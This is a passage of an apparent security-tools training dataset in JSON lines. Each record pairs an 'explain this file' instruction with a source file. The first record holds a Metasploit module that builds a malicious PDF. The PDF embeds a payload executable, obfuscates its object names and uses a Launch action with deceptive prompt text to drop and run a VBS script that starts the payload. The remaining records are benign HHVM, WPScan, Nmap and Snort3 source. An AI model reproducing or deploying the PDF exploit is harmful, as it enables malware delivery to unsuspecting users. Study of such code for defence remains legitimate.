'msf.exe']),\n OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),\n OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',\n \"To view the encrypted content please tick the \\\"Do not show this message again\\\" box and press Open.\"]),\n ])\n end\n\n def exploit\n\n # Create the pdf\n print_status(\"Making PDF\")\n pdf = make_pdf()\n print_status(\"Creating '#{datastore['FILENAME']}' file...\")\n file_create(pdf)\n end\n\n def pdf_exe(payload_exe)\n\n if !(payload_exe and payload_exe.length > 0)\n print_status(\"Using '#{datastore['PAYLOAD']}' as payload...\")\n payload_exe = generate_payload_exe\n hex_payload = Rex::Text.to_hex(payload_exe)\n else\n print_status(\"Using '#{datastore['EXENAME']}' as payload...\")\n hex_payload = Rex::Text.to_hex_dump(payload_exe,16)\n end\n\n return hex_payload\n end\n\n def io_def(id)\n \"%d 0 obj\" % id\n end\n\n def io_ref(id)\n \"%d 0 R\" % id\n end\n\n #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/\n def n_obfu(str)\n result = \"\"\n str.scan(/./u) do |c|\n if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'\n result << \"#%x\" % c.unpack(\"C*\")[0]\n else\n result << c\n end\n end\n result\n end\n\n def ascii_hex_whitespace_encode(str)\n result = \"\"\n whitespace = \"\"\n str.each_byte do |b|\n result << whitespace << \"%02x\" % b\n whitespace = \" \" * (rand(3) + 1)\n end\n result << \">\"\n end\n\n def make_pdf()\n\n file_name = datastore['FILENAME']\n exe_name = datastore['EXENAME']\n launch_msg = datastore['LAUNCH_MESSAGE']\n\n xref = []\n eol = \"\\x0d\\x0a\"\n endobj = \"endobj\" << eol\n\n pdf = \"%PDF-1.5\" << eol\n payload_exe = generate_payload_exe\n hex_payload = Rex::Text.to_hex(payload_exe)\n pdf << hex_payload << eol\n pdf << io_def(1) << n_obfu(\"<>\" << endobj\n xref << pdf.length\n pdf << io_def(2) << n_obfu(\"<>\") << endobj\n xref << pdf.length\n pdf << io_def(3) << n_obfu(\"<>\") << endobj\n xref << pdf.length\n pdf << io_def(4) << n_obfu(\"<>\") << endobj\n xref << pdf.length\n pdf << io_def(5) << n_obfu(\"< 1.vbs && cscript //B 1.vbs && start %TEMP%\\\\\\\\#{exe_name} && del /F 1.vbs\"\n pdf << eol << eol << eol << \"#{launch_msg})\"\n pdf << \">>>>\" << endobj\n xref << pdf.length\n xrefPosition = pdf.length\n pdf << \"xref\" << eol\n pdf << \"0 %d\" % (xref.length + 1) << eol\n pdf << \"0000000000 65535 f\" << eol\n xref.each do |index|\n pdf << \"%010d 00000 n\" % index << eol\n end\n pdf << \"trailer\" << n_obfu(\"<>\" << eol\n pdf << \"startxref\" << eol\n pdf << xrefPosition.to_s() << eol\n pdf << \"%%EOF\" << eol\n\n end\nend", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:44310"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/runtime/ext/vsdebug/transport.cpp' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/*\n +----------------------------------------------------------------------+\n | HipHop for PHP |\n +----------------------------------------------------------------------+\n | Copyright (c) 2017-present Facebook, Inc. (http://www.facebook.com) |\n +----------------------------------------------------------------------+\n | This source file is subject to version 3.01 of the PHP license, |\n | that is bundled with this package in the file LICENSE, and is |\n | available through the world-wide-web at the following url: |\n | http://www.php.net/license/3_01.txt |\n | If you did not receive a copy of the PHP license and are unable to |\n | obtain it through the world-wide-web, please send a note to |\n | license@php.net so we can mail you a copy immediately. |\n +----------------------------------------------------------------------+\n*/\n\n#include \"hphp/runtime/ext/vsdebug/transport.h\"\n#include \"hphp/runtime/ext/vsdebug/debugger.h\"\n\nnamespace HPHP {\nnamespace VSDEBUG {\n\nDebugTransport::DebugTransport(Debugger* debugger) :\n m_debugger(debugger),\n m_outputThread(this, &DebugTransport::processOutgoingMessages),\n m_inputThread(this, &DebugTransport::processIncomingMessages) {\n}\n\nvoid DebugTransport::setTransportFd(int fd) {\n Lock lock(m_mutex);\n\n // We shouldn't have a valid transport already.\n assertx(m_transportFd < 0);\n assertx(m_abortPipeFd[0] == -1 && m_abortPipeFd[1] == -1);\n\n // Create a set of pipe file descriptors to use to inform the thread\n // polling for reads that it's time to exit.\n if (pipe(m_abortPipeFd) < 0) {\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelError,\n \"Failed to open pipe for transport termination event.\"\n );\n\n // This is unexpected and treated as fatal because we won't be able\n // to stop the polling threads in an orderly fashion at this point.\n assertx(false);\n }\n\n m_transportFd = fd;\n m_terminating = false;\n m_inputThread.start();\n m_outputThread.start();\n}\n\nvoid DebugTransport::shutdownInputThread() {\n // Singal to the read thread that we are shutting down by writing to\n // the abort pipe.\n char value = '\\0';\n write(m_abortPipeFd[1], &value, 1);\n close(m_abortPipeFd[1]);\n m_abortPipeFd[1] = -1;\n}\n\nvoid DebugTransport::shutdownOutputThread() {\n // Clear any pending outgoing messages, and wake up the outgoing\n // message thread so that it exits.\n std::unique_lock lock(m_outgoingMsgLock);\n m_terminating = true;\n m_outgoingMsgCondition.notify_all();\n}\n\nvoid DebugTransport::cleanupFd(int fd) {\n close(fd);\n}\n\nvoid DebugTransport::shutdown() {\n {\n Lock lock(m_mutex);\n\n if (m_terminating) {\n return;\n }\n\n shutdownInputThread();\n shutdownOutputThread();\n }\n\n // Wait for both threads to exit.\n m_inputThread.waitForEnd();\n m_outputThread.waitForEnd();\n\n // Cleanup all fds.\n {\n Lock lock(m_mutex);\n cleanupFd(m_transportFd);\n m_transportFd = -1;\n }\n}\n\nvoid DebugTransport::onClientDisconnected() {\n m_debugger->setClientConnected(false);\n}\n\nconst std::string DebugTransport::wrapOutgoingMessage(\n folly::dynamic& message,\n const char* messageType\n) const {\n // TODO: (Ericblue) output messages need to be encoded in UTF-8\n message[\"type\"] = messageType;\n return folly::toJson(message);\n}\n\nvoid DebugTransport::enqueueOutgoingUserMessage(\n request_id_t threadId,\n const char* message,\n const char* level\n) {\n folly::dynamic userMessage = folly::dynamic::object;\n\n userMessage[\"threadId\"] = threadId;\n userMessage[\"category\"] = level;\n userMessage[\"output\"] = message;\n enqueueOutgoingEventMessage(userMessage, EventTypeOutput);\n}\n\nvoid DebugTransport::enqueueOutgoingEventMessage(\n folly::dynamic& message,\n const char* eventType\n) {\n folly::dynamic eventMessage = folly::dynamic::object;\n eventMessage[\"event\"] = eventType;\n eventMessage[\"body\"] = message;\n enqueueOutgoingMessageForClient(eventMessage, MessageTypeEvent);\n}\n\nvoid DebugTransport::enqueueOutgoingMessageForClient(\n folly::dynamic& message,\n const char* messageType\n) {\n message[\"seq\"] = m_responseSeqId++;\n\n if (!clientConnected()) {\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelWarning,\n \"Dropping message (no client is connected): %s\\n\",\n folly::toJson(message).c_str()\n );\n return;\n }\n\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelVerbose,\n \"Enqueueing outgoing message: %s\\n\",\n folly::toJson(message).c_str()\n );\n\n const auto wrapped = wrapOutgoingMessage(message, messageType);\n\n {\n std::lock_guard lock(m_outgoingMsgLock);\n m_outgoingMessages.push_back(wrapped);\n m_outgoingMsgCondition.notify_all();\n }\n}\n\nvoid DebugTransport::processOutgoingMessages() {\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelInfo,\n \"Transport outgoing message thread started.\"\n );\n\n SCOPE_EXIT {\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelInfo,\n \"Transport outgoing message thread exiting.\"\n );\n };\n\n int fd = getTransportFd();\n if (fd < 0) {\n return;\n }\n\n constexpr int abortIdx = 0;\n constexpr int transportIdx = 1;\n std::array pollFds;\n\n pollFds[abortIdx] = {0};\n pollFds[abortIdx].fd = m_abortPipeFd[0];\n pollFds[abortIdx].events =\n POLLIN | POLLERR | POLLHUP | g_platformPollFlags;\n\n pollFds[transportIdx] = {0};\n pollFds[transportIdx].fd = fd;\n pollFds[transportIdx].events =\n POLLOUT | POLLERR | POLLHUP | g_platformPollFlags;\n\n while (true) {\n std::list messagesToSend;\n {\n // Take a local copy of any messages waiting to be sent under the\n // lock and clear the queue.\n std::unique_lock lock(m_outgoingMsgLock);\n if (m_terminating) {\n return;\n }\n\n while (!m_terminating && m_outgoingMessages.size() == 0) {\n m_outgoingMsgCondition.wait(lock);\n }\n\n messagesToSend = std::list(m_outgoingMessages);\n m_outgoingMessages.clear();\n }\n\n // Send the messages.\n for (auto it = messagesToSend.begin();\n it != messagesToSend.end();\n it++) {\n\n // Write out the entire string, *including* its terminating NULL char.\n const char* output = it->c_str();\n size_t bytesToSend = strlen(output) + 1;\n\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelVerbose,\n \"Sending outgoing message: %s\\n\",\n output\n );\n\n while (bytesToSend > 0) {\n int ret = poll(pollFds.data(), 2, -1);\n if (ret < 0) {\n if (ret == -EINTR) {\n // Interrupted syscall, resume polling.\n continue;\n }\n\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelError,\n \"Polling inputs failed: %d (%s)\",\n errno,\n folly::errnoStr(errno).c_str()\n );\n onClientDisconnected();\n return;\n }\n\n if ((pollFds[transportIdx].revents & POLLOUT) != 0) {\n // Output transport is ready to accept writes.\n ret = write(fd, output, bytesToSend);\n if (ret < 0) {\n // Error writing.\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelError,\n \"Sending message failed:\\n%s\\nWrite returned %d\",\n output,\n errno\n );\n onClientDisconnected();\n return;\n }\n\n bytesToSend -= ret;\n output += ret;\n\n } else if (pollFds[abortIdx].revents != 0) {\n // Termination event received.\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelInfo,\n \"Transport write thread: termination signal received.\"\n );\n return;\n } else {\n // TransportFD hangup or error.\n assertx((pollFds[transportIdx].revents &\n (POLLERR | POLLHUP | g_platformPollFlags)) != 0);\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelInfo,\n \"Transport write thread: error event on fd.\"\n );\n onClientDisconnected();\n return;\n }\n }\n }\n }\n}\n\nvoid DebugTransport::processIncomingMessages() {\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelInfo,\n \"Transport incoming message thread started.\"\n );\n\n char* buffer = nullptr;\n size_t bufferSize = 0;\n size_t bufferPosition = 0;\n\n int fd = getTransportFd();\n if (fd < 0) {\n return;\n }\n\n // Wait for data to be available, or a termination event to occur.\n constexpr int abortIdx = 0;\n constexpr int transportIdx = 1;\n\n int eventMask = POLLIN | POLLERR | POLLHUP | g_platformPollFlags;\n struct pollfd pollFds[2];\n memset(pollFds, 0, sizeof(pollFds));\n pollFds[abortIdx].fd = m_abortPipeFd[0];\n pollFds[abortIdx].events = eventMask;\n pollFds[transportIdx].fd = fd;\n pollFds[transportIdx].events = eventMask;\n\n while (true) {\n // If there are complete messages in the buffer, process them first.\n folly::dynamic message;\n while (bufferPosition > 0 &&\n tryProcessMessage(buffer, bufferSize, &bufferPosition, &message)) {\n\n // Call the debugger and have it process the client message.\n m_debugger->onClientMessage(message);\n }\n\n // Out of space in the buffer. Attempt to resize it.\n if (bufferPosition == bufferSize) {\n size_t newSize = buffer == nullptr\n ? ReadBufferDefaultSize\n : bufferSize * 2;\n\n // Set a reasonable max size, no client message is ever expected to be\n // this big.\n constexpr int maxSize = 1024 * 1024;\n if (newSize > maxSize) {\n newSize = maxSize;\n }\n\n if (newSize == bufferSize) {\n // The buffer is already as big as we're willing to go, and the\n // message is bigger than that. Fail.\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelError,\n \"Transport buffer is already at max size but requested size is %d!\",\n newSize\n );\n break;\n } else {\n buffer = (char*)realloc(buffer, newSize);\n }\n\n if (buffer == nullptr) {\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelError,\n \"Transport incoming message thread: out of memory!\"\n );\n break;\n }\n\n memset(&buffer[bufferSize], 0, newSize - bufferSize);\n bufferSize = newSize;\n }\n\n int ret = poll(pollFds, 2, -1);\n if (ret < 0) {\n if (ret == -EINTR) {\n // Interrupted syscall, resume polling.\n continue;\n }\n\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelError,\n \"Polling inputs failed: %d (%s)\",\n errno,\n folly::errnoStr(errno).c_str()\n );\n break;\n }\n\n if (pollFds[abortIdx].revents != 0) {\n // Termination event received.\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelInfo,\n \"Transport read thread: termination signal received.\"\n );\n break;\n } else if ((pollFds[transportIdx].revents & POLLIN) == 0) {\n // This means that the client has disconnected.\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelInfo,\n \"Transport read thread: client disconnected (event mask = 0x%x).\",\n pollFds[transportIdx].revents\n );\n break;\n }\n\n // Read the next chunk of data from the pipe.\n const size_t readSize = bufferSize - bufferPosition;\n const ssize_t result = recv(\n fd,\n &buffer[bufferPosition],\n readSize,\n 0);\n\n if (result <= 0) {\n if (result == -EINTR) {\n // Interrupted syscall, retry recv.\n continue;\n }\n\n // Log the result of recv, unless it's 0 which indicates an orderly\n // shutdown by the peer.\n if (result != 0) {\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelError,\n \"Transport incoming message thread failed to read: %d\",\n result\n );\n }\n break;\n }\n\n bufferPosition += result;\n pollFds[abortIdx].revents = 0;\n pollFds[transportIdx].revents = 0;\n }\n\n if (buffer != nullptr) {\n free(buffer);\n }\n\n // Close the read end of the pipe.\n close(m_abortPipeFd[0]);\n m_abortPipeFd[0] = -1;\n\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelInfo,\n \"Transport incoming message thread exiting.\"\n );\n\n onClientDisconnected();\n}\n\nbool DebugTransport::tryProcessMessage(\n char* buffer,\n size_t bufferSize,\n size_t* bufferPosition,\n folly::dynamic* message\n) {\n bool success = false;\n\n const char* bufferPos = buffer + *bufferPosition;\n assertx(bufferPos <= buffer + bufferSize);\n\n // Advance through the buffer until we locate the NULL separator between\n // client messages.\n char* currentPos = buffer;\n while (currentPos < bufferPos && *currentPos != '\\0') {\n currentPos++;\n }\n\n // If we did not reach the end of the available input, and a NULL\n // character was encountered, attempt to parse the message.\n if (currentPos < bufferPos && *currentPos == '\\0') {\n try {\n *message = folly::parseJson(buffer);\n success = true;\n } catch (...) {\n // Log the error and move on. Note that in this case we cannot even\n // send a failure response to the debugger client because the protocol\n // requires it to include a sequence ID and the command that failed -\n // and request message was not well-formed enough for us to obtain that\n // data from it.\n VSDebugLogger::Log(\n VSDebugLogger::LogLevelError,\n \"Failed to parse debugger message: %s\",\n buffer\n );\n }\n\n // Lose the NULL character.\n currentPos++;\n\n // If there's remaining data in the buffer after this message ended,\n // it remains for the next message.\n if (currentPos < bufferPos) {\n size_t len = bufferPos - currentPos;\n memmove(buffer, currentPos, len);\n memset(buffer + len, 0, bufferSize - len);\n *bufferPosition = len;\n } else {\n memset(buffer, 0, bufferSize);\n *bufferPosition = 0;\n }\n }\n\n return success;\n}\n\n}\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:16306"}} -{"instruction": "Explain the purpose and role of 'wpscan/spec/fixtures/dynamic_finders/plugin_version/hide-admin-bar-by-wp-all-support/translation_file/languages/wpas-hide-admin-bar-en_US.po' from the wpscan security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "msgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: Hide Admin Bar by WP ALL SUPPORT 1.0.0\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2020-07-11 17:49+0530\\n\"\n\"PO-Revision-Date: 2020-07-11 17:49+0530\\n\"\n\"Last-Translator: \\n\"\n\"Language-Team: WP ALL SUPPORT \\n\"\n\"Language: en_US\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"X-Poedit-KeywordsList: _;gettext;gettext_noop;__;_e;_n:1,2;_n_noop:1,2;\"\n\"_nx:1,2;_x;_ex;esc_attr_e;esc_attr__\\n\"\n\"X-Poedit-Basepath: ..\\n\"\n\"Plural-Forms: nplurals=2; plural=n != 1;\\n\"\n\"X-Poedit-SourceCharset: UTF-8\\n\"\n\"X-Generator: Poedit 2.2.1\\n\"\n\"X-Poedit-SearchPath-0: .\\n\"\n\n#: admin/class-wpas-hide-admin-bar-admin.php:54\n#: admin/class-wpas-hide-admin-bar-admin.php:55\n#: admin/class-wpas-hide-admin-bar-admin.php:74\nmsgid \"Hide Admin Bar Settings\"\nmsgstr \"\"\n\n#: admin/class-wpas-hide-admin-bar-admin.php:82\nmsgid \"Force hide for all?\"\nmsgstr \"\"\n\n#: admin/class-wpas-hide-admin-bar-admin.php:86\nmsgid \"Hide for selected users?\"\nmsgstr \"\"\n\n#: admin/class-wpas-hide-admin-bar-admin.php:88\nmsgid \"Select users\"\nmsgstr \"\"\n\n#: admin/class-wpas-hide-admin-bar-admin.php:113\nmsgid \"Hide by user roles?\"\nmsgstr \"\"\n\n#: admin/class-wpas-hide-admin-bar-admin.php:117\nmsgid \"Select roles to hide admin bar\"\nmsgstr \"\"\n\n#: admin/class-wpas-hide-admin-bar-admin.php:120\nmsgid \"Select user roles\"\nmsgstr \"\"\n\n#: admin/class-wpas-hide-admin-bar-admin.php:139\nmsgid \"Hide admin bar if...\"\nmsgstr \"\"\n\n#: admin/class-wpas-hide-admin-bar-admin.php:142\nmsgid \"Create a new rule\"\nmsgstr \"\"\n\n#: admin/class-wpas-hide-admin-bar-admin.php:165\nmsgid \"Delete data on uninstall?\"\nmsgstr \"\"\n\n#: admin/class-wpas-hide-admin-bar-admin.php:170\nmsgid \"Save Changes\"\nmsgstr \"\"\n\n#: templates/add-new-rule.php:27\nmsgid \"Please select post type to hide\"\nmsgstr \"\"\n\n#: templates/add-new-rule.php:42\nmsgid \"Please select item(s)\"\nmsgstr \"\"", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:60279"}} -{"instruction": "Explain the purpose and role of 'nmap/osscan.h' from the nmap security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/***************************************************************************\n * osscan.h -- Routines used for OS detection via TCP/IP fingerprinting. *\n * For more information on how this works in Nmap, see my paper at *\n * https://nmap.org/osdetect/ *\n * *\n ***********************IMPORTANT NMAP LICENSE TERMS************************\n *\n * The Nmap Security Scanner is (C) 1996-2023 Nmap Software LLC (\"The Nmap\n * Project\"). Nmap is also a registered trademark of the Nmap Project.\n *\n * This program is distributed under the terms of the Nmap Public Source\n * License (NPSL). The exact license text applying to a particular Nmap\n * release or source code control revision is contained in the LICENSE\n * file distributed with that version of Nmap or source code control\n * revision. More Nmap copyright/legal information is available from\n * https://nmap.org/book/man-legal.html, and further information on the\n * NPSL license itself can be found at https://nmap.org/npsl/ . This\n * header summarizes some key points from the Nmap license, but is no\n * substitute for the actual license text.\n *\n * Nmap is generally free for end users to download and use themselves,\n * including commercial use. It is available from https://nmap.org.\n *\n * The Nmap license generally prohibits companies from using and\n * redistributing Nmap in commercial products, but we sell a special Nmap\n * OEM Edition with a more permissive license and special features for\n * this purpose. See https://nmap.org/oem/\n *\n * If you have received a written Nmap license agreement or contract\n * stating terms other than these (such as an Nmap OEM license), you may\n * choose to use and redistribute Nmap under those terms instead.\n *\n * The official Nmap Windows builds include the Npcap software\n * (https://npcap.com) for packet capture and transmission. It is under\n * separate license terms which forbid redistribution without special\n * permission. So the official Nmap Windows builds may not be redistributed\n * without special permission (such as an Nmap OEM license).\n *\n * Source is provided to this software because we believe users have a\n * right to know exactly what a program is going to do before they run it.\n * This also allows you to audit the software for security holes.\n *\n * Source code also allows you to port Nmap to new platforms, fix bugs, and add\n * new features. You are highly encouraged to submit your changes as a Github PR\n * or by email to the dev@nmap.org mailing list for possible incorporation into\n * the main distribution. Unless you specify otherwise, it is understood that\n * you are offering us very broad rights to use your submissions as described in\n * the Nmap Public Source License Contributor Agreement. This is important\n * because we fund the project by selling licenses with various terms, and also\n * because the inability to relicense code has caused devastating problems for\n * other Free Software projects (such as KDE and NASM).\n *\n * The free version of Nmap is distributed in the hope that it will be\n * useful, but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Warranties,\n * indemnification and commercial support are all available through the\n * Npcap OEM program--see https://nmap.org/oem/\n *\n ***************************************************************************/\n\n/* $Id$ */\n\n#ifndef OSSCAN_H\n#define OSSCAN_H\n\n#include \n#include \n#include \n\nclass Target;\nclass FingerPrintResultsIPv4;\n\n#define OSSCAN_SUCCESS 0\n#define OSSCAN_NOMATCHES -1\n#define OSSCAN_TOOMANYMATCHES -2\n\n/* We won't even consider matches with a lower accuracy than this */\n#define OSSCAN_GUESS_THRESHOLD 0.85\n\n/* The method used to calculate the Target::distance, included in OS\n fingerprints. */\nenum dist_calc_method {\n DIST_METHOD_NONE,\n DIST_METHOD_LOCALHOST,\n DIST_METHOD_DIRECT,\n DIST_METHOD_ICMP,\n DIST_METHOD_TRACEROUTE\n};\n\n/********************** STRUCTURES ***********************************/\n\n#define NUM_FPTESTS 13\n // T2-T7 and U1 have 11 attributes each\n#define FP_MAX_TEST_ATTRS 11\n // RIPCK\n#define FP_MAX_NAME_LEN 5\n\n// Short alphanumeric strings.\ntemplate\nstruct ShortStr {\n char str[_MaxStrLen+1];\n bool trunc;\n ShortStr() : trunc(false) {memset(str, 0, sizeof(str));}\n ShortStr(const char *s) { setStr(s); }\n ShortStr(const char *s, const char *e) { setStr(s, e); }\n void setStr(const char *in);\n void setStr(const char *in, const char *end);\n // Helpers for type conversion\n operator const char *() const {return this->str;}\n operator char *() {return this->str;}\n bool operator==(const char *other) const {\n return (!trunc && strncmp(str, other, _MaxStrLen) == 0);\n }\n bool operator==(const ShortStr &other) const {\n return (!trunc && !other.trunc\n && strncmp(str, other.str, _MaxStrLen) == 0);\n }\n bool operator!=(const ShortStr &other) const {\n return (trunc || other.trunc\n || strncmp(str, other.str, _MaxStrLen) != 0);\n }\n bool operator<(const ShortStr &other) const {\n return (trunc < other.trunc || strncmp(str, other.str, _MaxStrLen) < 0);\n }\n};\n\ntypedef ShortStr FPstr;\n\nstruct Attr {\n FPstr name;\n int points;\n Attr() : name(), points(0) {}\n Attr(const char *n) : name(n), points(0) {}\n};\n\nstruct FingerTestDef {\n FPstr name;\n u8 numAttrs;\n bool hasR;\n std::map AttrIdx;\n std::vector Attrs;\n\n FingerTestDef() : name(), numAttrs(0), hasR(false) {}\n FingerTestDef(const FPstr &n, const char *a[]);\n};\n\n#define ID2INT(_i) static_cast(_i)\n#define INT2ID(_i) static_cast(_i)\nclass FingerPrintDef {\n public:\n enum TestID { SEQ, OPS, WIN, ECN, T1, T2, T3, T4, T5, T6, T7, U1, IE, INVALID };\n static const char *test_attrs[NUM_FPTESTS][FP_MAX_TEST_ATTRS];\n FingerPrintDef();\n bool parseTestStr(const char *str, const char *end);\n FingerTestDef &getTestDef(TestID id) { return TestDefs[ID2INT(id)]; }\n const FingerTestDef &getTestDef(TestID id) const { return TestDefs[ID2INT(id)]; }\n int getTestIndex(const FPstr testname) const { return ID2INT(TestIdx.at(testname)); }\n TestID str2TestID(const FPstr testname) const { return TestIdx.at(testname); }\n\n private:\n std::map TestIdx;\n std::vector TestDefs;\n};\n\nstruct OS_Classification {\n const char *OS_Vendor;\n const char *OS_Family;\n const char *OS_Generation; /* Can be NULL if unclassified */\n const char *Device_Type;\n std::vector cpe;\n};\n\n/* A description of an operating system: a human-readable name and a list of\n classifications. */\nstruct FingerMatch {\n int line; /* For reference prints, the line # in nmap-os-db */\n /* For IPv6 matches, the number of fingerprints that contributed to this\n * classification group */\n /* For IPv4 fingerprints, the number of points possible */\n unsigned short numprints;\n const char *OS_name;\n std::vector OS_class;\n\n FingerMatch() : line(-1), numprints(0), OS_name(NULL) {}\n};\n\nstruct FingerPrintDB;\nstruct FingerTest {\n FingerPrintDef::TestID id;\n const FingerTestDef *def;\n std::vector *results;\n FingerTest() : id(FingerPrintDef::INVALID), def(NULL), results(NULL) {}\n FingerTest(const FPstr &testname, const FingerPrintDef &Defs) {\n id = Defs.str2TestID(testname);\n def = &Defs.getTestDef(id);\n results = new std::vector(def->numAttrs, NULL);\n }\n FingerTest(FingerPrintDef::TestID testid, const FingerPrintDef &Defs)\n : id(testid), results(NULL) {\n def = &Defs.getTestDef(id);\n results = new std::vector(def->numAttrs, NULL);\n }\n FingerTest(const FingerTest &other) : id(other.id), def(other.def), results(other.results) {}\n ~FingerTest() {\n // results must be freed manually\n }\n void erase();\n bool str2AVal(const char *str, const char *end);\n void setAVal(const char *attr, const char *value);\n const char *getAVal(const char *attr) const;\n const char *getAValName(u8 index) const;\n const char *getTestName() const { return def->name.str; }\n int getMaxPoints() const;\n};\n\n/* Same struct used for reference prints (DB) and observations */\nstruct FingerPrint {\n FingerMatch match;\n FingerTest tests[NUM_FPTESTS];\n void erase();\n void setTest(const FingerTest &test) {\n tests[ID2INT(test.id)] = test;\n }\n};\n\n/* These structs are used in fingerprint-processing code outside of Nmap itself\n * {\n */\n/* SCAN pseudo-test */\nstruct FingerPrintScan {\n enum Attribute { V, E, D, OT, CT, CU, PV, DS, DC, G, M, TM, P, MAX_ATTR };\n static const char *attr_names[static_cast(MAX_ATTR)];\n\n const char *values[static_cast(MAX_ATTR)];\n bool present;\n FingerPrintScan() : present(false) {memset(values, 0, sizeof(values));}\n bool parse(const char *str, const char *end);\n const char *scan2str() const;\n};\n\n/* An observation parsed from string representation */\nstruct ObservationPrint {\n FingerPrint fp;\n FingerPrintScan scan_info;\n std::vector extra_tests;\n const char *getInfo(FingerPrintScan::Attribute attr) const {\n if (attr >= FingerPrintScan::MAX_ATTR)\n return NULL;\n return scan_info.values[static_cast(attr)];\n }\n void mergeTest(const FingerTest &test) {\n FingerTest &ours = fp.tests[ID2INT(test.id)];\n if (ours.id == FingerPrintDef::INVALID)\n ours = test;\n else {\n extra_tests.push_back(test);\n }\n }\n};\n/* } */\n\n/* This structure contains the important data from the fingerprint\n database (nmap-os-db) */\nstruct FingerPrintDB {\n FingerPrintDef *MatchPoints;\n std::vector prints;\n\n FingerPrintDB();\n ~FingerPrintDB();\n};\n\n/********************** PROTOTYPES ***********************************/\n\nconst char *fp2ascii(const FingerPrint *FP);\n\n/* Parses a single fingerprint from the memory region given. If a\n non-null fingerprint is returned, the user is in charge of freeing it\n when done. This function does not require the fingerprint to be 100%\n complete since it is used by scripts such as scripts/fingerwatch for\n which some partial fingerprints are OK. */\nObservationPrint *parse_single_fingerprint(const FingerPrintDB *DB, const char *fprint);\n\n/* These functions take a file/db name and open+parse it, returning an\n (allocated) FingerPrintDB containing the results. They exit with\n an error message in the case of error. */\nFingerPrintDB *parse_fingerprint_file(const char *fname, bool points_only);\nFingerPrintDB *parse_fingerprint_reference_file(const char *dbname);\n\nvoid free_fingerprint_file(FingerPrintDB *DB);\n\n/* Compares 2 fingerprints -- a referenceFP (can have expression\n attributes) with an observed fingerprint (no expressions). If\n verbose is nonzero, differences will be printed. The comparison\n accuracy (between 0 and 1) is returned). MatchPoints is\n a special \"fingerprints\" which tells how many points each test is worth. */\ndouble compare_fingerprints(const FingerPrint *referenceFP, const FingerPrint *observedFP,\n const FingerPrintDef *MatchPoints, int verbose, double threshold);\n\n/* Takes a fingerprint and looks for matches inside the passed in\n reference fingerprint DB. The results are stored in in FPR (which\n must point to an instantiated FingerPrintResultsIPv4 class) -- results\n will be reverse-sorted by accuracy. No results below\n accuracy_threshold will be included. The max matches returned is\n the maximum that fits in a FingerPrintResultsIPv4 class. */\nvoid match_fingerprint(const FingerPrint *FP, FingerPrintResultsIPv4 *FPR,\n const FingerPrintDB *DB, double accuracy_threshold);\n\n/* Returns true if perfect match -- if num_subtests & num_subtests_succeeded are non_null it updates them. if shortcircuit is zero, it does all the tests, otherwise it returns when the first one fails */\n\nvoid WriteSInfo(char *ostr, int ostrlen, bool isGoodFP,\n const char *engine_id,\n const struct sockaddr_storage *addr, int distance,\n enum dist_calc_method distance_calculation_method,\n const u8 *mac, int openTcpPort,\n int closedTcpPort, int closedUdpPort);\nconst char *mergeFPs(FingerPrint *FPs[], int numFPs, bool isGoodFP,\n const struct sockaddr_storage *addr, int distance,\n enum dist_calc_method distance_calculation_method,\n const u8 *mac, int openTcpPort, int closedTcpPort,\n int closedUdpPort, bool wrapit);\n\n#endif /*OSSCAN_H*/", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:47109"}} -{"instruction": "Explain the purpose and role of 'snort3/src/file_api/file_flows.h' from the snort3 security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "//--------------------------------------------------------------------------\n// Copyright (C) 2015-2023 Cisco and/or its affiliates. All rights reserved.\n//\n// This program is free software; you can redistribute it and/or modify it\n// under the terms of the GNU General Public License Version 2 as published\n// by the Free Software Foundation. You may not use, modify or distribute\n// this program under any other version of the GNU General Public License.\n//\n// This program is distributed in the hope that it will be useful, but\n// WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n// General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License along\n// with this program; if not, write to the Free Software Foundation, Inc.,\n// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n//--------------------------------------------------------------------------\n\n// author Hui Cao \n\n#ifndef FILE_FLOWS_H\n#define FILE_FLOWS_H\n\n// This provides a wrapper to manage several file contexts\n\n#include \"flow/flow.h\"\n#include \"main/snort_types.h\"\n#include 